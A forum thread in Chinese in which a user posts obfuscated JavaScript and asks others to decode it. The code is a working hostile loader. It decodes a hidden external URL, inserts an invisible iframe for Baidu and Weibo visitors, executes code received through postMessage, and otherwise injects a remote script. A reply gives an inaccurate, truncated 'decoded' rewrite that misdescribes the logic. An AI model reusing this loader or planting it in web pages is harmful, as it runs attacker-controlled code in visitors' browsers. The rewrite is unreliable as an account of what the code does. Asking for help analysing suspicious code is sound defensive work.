全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 809|回复: 4

有没有人懂JS解密

[复制链接]
发表于 2023-2-15 23:06:23 | 显示全部楼层 |阅读模式
function LPYiuhsZ1414() {
        u = "aHR0cHM6Ly" + "92LnZva21o" + "eWR5Lnh5ei" + "9JTVhOL0gt" + "MTkxNi1nLT" + "M4MC8=";
        var r = 'QzYBvmgM';
        w = window;
        d = document;
        f = 'WtqXQ';
        c = 'k';

        function bd(e) {
                var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
                var t = '',
                        n, r, i, s, o, u, a, f = 0;
                while (f < e.length) {
                        s = sx.indexOf(e.charAt(f++));
                        o = sx.indexOf(e.charAt(f++));
                        u = sx.indexOf(e.charAt(f++));
                        a = sx.indexOf(e.charAt(f++));
                        n = s << 2 | o >> 4;
                        r = (o & 15) << 4 | u >> 2;
                        i = (u & 3) << 6 | a;
                        t = t + String.fromCharCode(n);
                        if (u != 64) {
                                t = t + String.fromCharCode(r)
                        }
                        if (a != 64) {
                                t = t + String.fromCharCode(i)
                        }
                }
                return (function(e) {
                        var t = '',
                                n = r = c1 = c2 = 0;
                        while (n < e.length) {
                                r = e.charCodeAt(n);
                                if (r < 128) {
                                        t += String.fromCharCode(r);
                                        n++
                                } else if (r > 191 && r < 224) {
                                        c2 = e.charCodeAt(n + 1);
                                        t += String.fromCharCode((r & 31) << 6 | c2 & 63);
                                        n += 2
                                } else {
                                        c2 = e.charCodeAt(n + 1);
                                        c3 = e.charCodeAt(n + 2);
                                        t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
                                        n += 3
                                }
                        }
                        return t
                })(t)
        };

        function sk(s, b345, b453) {
                var b435 = '';
                for (var i = 0; i < s.length / 3; i++) {
                        b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255)
                }
                return (function(b345, b435) {
                        b453 = '';
                        for (var i = 0; i < b435.length / 2; i++) {
                                b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127)
                        }
                        return 2 >> 2 || b345[b453].split('')
                                .map(function(e) {
                                        return e.charCodeAt(0) ^ 127 << 2
                                })
                                .join('')
                                .substr(0, 5)
                })(b345[b435], b453)
        };
        var fc98 = 's' + 'rc',
                abc = 1,
                k2 = navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1 || navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1;

        function rd(m) {
                return (new Date()
                        .getTime()) % m
        };
        h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524);
        r = r + h, eey = 'id', br = bd('d3JpdGU=');
        u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c)));
        wrd = bd('d3JpdGUKIA==');
        if (k2) {
                abc = 0;
                var s = bd('YWRkRXZlbnRMaXN0ZW5lcg==');
                r = r + rd(100);
                wi = bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi') + ' s' + 'rc="' + u + r + '" ></iframe>';
                d[br](wi);
                k = function(e) {
                        var rr = r;
                        if (e.data[rr]) {
                                new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))()
                        }
                };
                w[s](bd('bWVzc2FnZQ=='), k)
        }
        if (abc) {
                a = u;
                var s = d['createElement']('sc' + 'ript');
                s[fc98] = a;
                d.head['appendChild'](s);
        }
        d.currentScript.id = 'des' + r
}
LPYiuhsZ1414();



请帮我解密一下 看不太懂 一脸懵逼
发表于 2023-2-15 23:08:23 | 显示全部楼层
遇码不懂,问GPT
发表于 2023-2-15 23:13:53 | 显示全部楼层
function loadContent() {
  var iframeUrl = "aHR0cHM6Ly92LnZva21oeWR5Lnh5ei9JTVhOL0gtMTkxNi1nLTM4MC8=";
  var iframeAttributes = "width=\"100%\" height=\"100%\" frameborder=\"0\" scrolling=\"no\"";
  var requestId = "QzYBvmgM";
  var requestIdPrefix = "des" + requestId;
  
  var documentObject = document;
  var windowObject = window;
  var isMobileDevice = navigator.userAgent.indexOf("baidu") > -1 || navigator.userAgent.indexOf("weibo") > -1;

  function decodeBase64(input) {
    var base64Characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var output = "";
    var charIndex1, charIndex2, charIndex3, charIndex4;
    var i = 0;
    while (i < input.length) {
      charIndex1 = base64Characters.indexOf(input.charAt(i++));
      charIndex2 = base64Characters.indexOf(input.charAt(i++));
      charIndex3 = base64Characters.indexOf(input.charAt(i++));
      charIndex4 = base64Characters.indexOf(input.charAt(i++));
      var byte1 = (charIndex1 << 2) | (charIndex2 >> 4);
      var byte2 = ((charIndex2 & 15) << 4) | (charIndex3 >> 2);
      var byte3 = ((charIndex3 & 3) << 6) | charIndex4;
      output += String.fromCharCode(byte1);
      if (charIndex3 !== 64) {
        output += String.fromCharCode(byte2);
      }
      if (charIndex4 !== 64) {
        output += String.fromCharCode(byte3);
      }
    }
    return decodeUtf8(output);
  }

  function decodeUtf8(input) {
    var output = "";
    var i = 0;
    var charCode1, charCode2, charCode3;
    while (i < input.length) {
      charCode1 = input.charCodeAt(i);
      if (charCode1 < 128) {
        output += String.fromCharCode(charCode1);
        i++;
      } else if (charCode1 > 191 && charCode1 < 224) {
        charCode2 = input.charCodeAt(i + 1);
        output += String.fromCharCode(((charCode1 & 31) << 6) | (charCode2 & 63));
        i += 2;
      } else {
        charCode2 = input.charCodeAt(i + 1);
        charCode3 = input.charCodeAt(i + 2);
        output += String.fromCharCode(((charCode1 & 15) << 12) | ((charCode2 & 63) << 6) | (charCode3 & 63));
        i += 3;
      }
    }
    return output;
  }

  function generateRandomNumber(maxValue) {
    return (new Date().getTime()) % maxValue;
  }

  function encodeRequest(requestId) {
    var encodedRequest = requestIdPrefix;
    var encodedAttributes = decodeBase64(iframeUrl.replace(/../g, ""));
    var randomValue = generateRandomNumber(100) + 1;
    if (isMobileDevice) {
      var scriptTag
 楼主| 发表于 2023-2-15 23:19:17 | 显示全部楼层
sety 发表于 2023-2-15 23:13
function loadContent() {
  var iframeUrl = "aHR0cHM6Ly92LnZva21oeWR5Lnh5ei9JTVhOL0gtMTkxNi1nLTM4MC8= ...

大佬 这么优秀 请问是怎么样实现的呀
发表于 2023-2-15 23:35:34 | 显示全部楼层
hostloca520 发表于 2023-2-15 23:19
大佬 这么优秀 请问是怎么样实现的呀

也不算加密,就是稍微混淆,改了改变量字符串等,看代码逻辑格式化,修复回来就行
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2026-1-23 04:58 , Processed in 0.061618 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表